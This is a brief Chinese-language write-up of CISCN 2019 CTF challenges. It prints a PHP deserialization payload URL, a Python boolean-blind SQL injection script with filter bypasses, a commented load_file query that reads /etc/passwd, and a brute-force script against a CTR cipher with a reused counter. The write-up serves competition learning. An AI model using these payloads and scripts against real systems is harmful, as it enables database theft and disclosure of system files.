Ciscn 2019 初赛 Writeup
输出了两题 web + 一题 crypto, 太菜了 QAQ
因为也是要交上去的, 就写的比较简单了.
JustSoso
根据html内的提示, php://filter/read=convert.base64-encode/resource=index.php
和 php://filter/read=convert.base64-encode/resource=hint.php
得到源码,
之后代码审计.
- 通过 ///index.php 使 parse_url 返回 false, 绕过 payload 内不能有 flag 的限制
- 通过引用的方式, 绕过 $this->token === $this->token_flag
- 将序列化后的字符串
"Handle":1
的改为 2, 使其反序列时不调用 __wakeup 魔术方法, 让 handler 正常调用
最后 payload:http://fe95bbad6a4f406cbd981c3496fb83f2be3784a02dfb46d1.changame.ichunqiu.com///index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3Bs%3A32%3A%226754e06e46dfa419d5afe3c9781cecad%22%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D
全宇宙最简单的SQL
尝试 admin'asdasd
返回数据库操作失败, 说明存在注入漏洞,
尝试盲注但是发现 benchmark
和 sleep
全部被替换为 QwQ
, 随即尝试布尔注入,
发现 if
和 case
也被过滤. 最后用短路求值的方式代替 if, 并用 exp(710)
产生错误,
如果前面语句返回 true, 将返回数据库操作失败, 如果前面语句返回 false, 返回账号登录失败. 且表名为常见名称 user,
列名通过虚表的方式绕过.
1import requests
2import string
3from tqdm import tqdm
4# url = "http://0d3316846cd2408dbfdf95808c03f3f5714e7d9655ee4d4e.changame.ichunqiu.com/"
5url = "http://106.119.182.216/"
6# username=asd'/**/and/**/1=(SELECT/**/database()/**/like/**/'z')/**/and/**/exp(710)#&password=admin
7sess = requests.session()
8sess.headers["Host"] = "0d3316846cd2408dbfdf95808c03f3f5714e7d9655ee4d4e.changame.ichunqiu.com"
9# database: ctf
10# table: user
11# 2 col
12# /fll1llag_h3r3 2,F1AG@1s-at_/fll1llag_h3r3
13# f"asd'/**/and/**/1=(SELECT/**/version()/**/like/**/'{i}')/**/and/**/exp(710)#",
14# asd'/**/and/**/1=(select(SELECT/**/group_concat(`1`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'a%')/**/and/**/exp(710)#
15# f"asd'/**/and/**/1=(select(SELECT/**/hex(group_concat(`2`))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'{tmp}%')/**/and/**/exp(710)#",
16# f"asd'/**/and/**/1=(select/**/load_file(0x2f6574632f706173737764)/**/like/**/'{tmp}')/**/and/**/exp(710)#",
17#table = string.printable[:-5]
18#table = table.replace("%", '')
19#table = table.replace("'", "")
20#table = table.replace("\\", "")
21table = "0123456789ABCDEF"
22curr = ''
23for _ in range(999):
24 for i in tqdm(table):
25 tmp = curr + i + "%"
26 data = {
27 "username": f"asd'/**/and/**/1=(select(SELECT/**/hex(group_concat(`2`))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'{tmp}%')/**/and/**/exp(710)#",
28 "password": "admin"
29 }
30 success = False
31 while not success:
32 try:
33 res = sess.post(url, data, timeout=2)
34 success = True
35 except Exception:
36 pass
37 res = res.content
38 res = res.decode('utf-8')
39 if "数据库操作" in res:
40 curr += i
41 print(curr)
42 break
43 if i == table[-1]:
44 raise Exception
最后得到 admin 的密码为 F1AG@1s-at_/fll1llag_h3r3
, 尝试直接 load_file读取失败.
应该是没有权限, 随即在web上尝试登录admin, 发现是 mysql 客户端连接并执行语句的服务.
猜测有客户端读任意文件的漏洞, 可以直接拿到flag文件.
warmup
题目采用的是 CTR 模式, 而且每次加密采用同一计数器,
只要第一次发送空, 之后每次爆破一位比对是否与第一次对应位置的值相同即可.
1from remoteCLI import CLI
2from binascii import unhexlify
3import string
4from tqdm import tqdm
5
6result = r'result>([0-9a-f]{0,})'
7
8cli = CLI()
9cli.connect("fc32f84bc46ac22d97e5f876e3100922.kr-lab.com", 12345)
10cli.sendLine('')
11res = cli.recvUntilFind(result)[0]
12flag = unhexlify(res)
13flagLen = len(flag)
14table = string.printable[:-5]
15curr = ''
16for seq in range(flagLen):
17 for i in tqdm(table):
18 cli.sendLine(curr + i)
19 res = cli.recvUntilFind(result)[0]
20 res = unhexlify(res)
21 if res[seq] == flag[seq]:
22 curr += i
23 print(curr)
24 break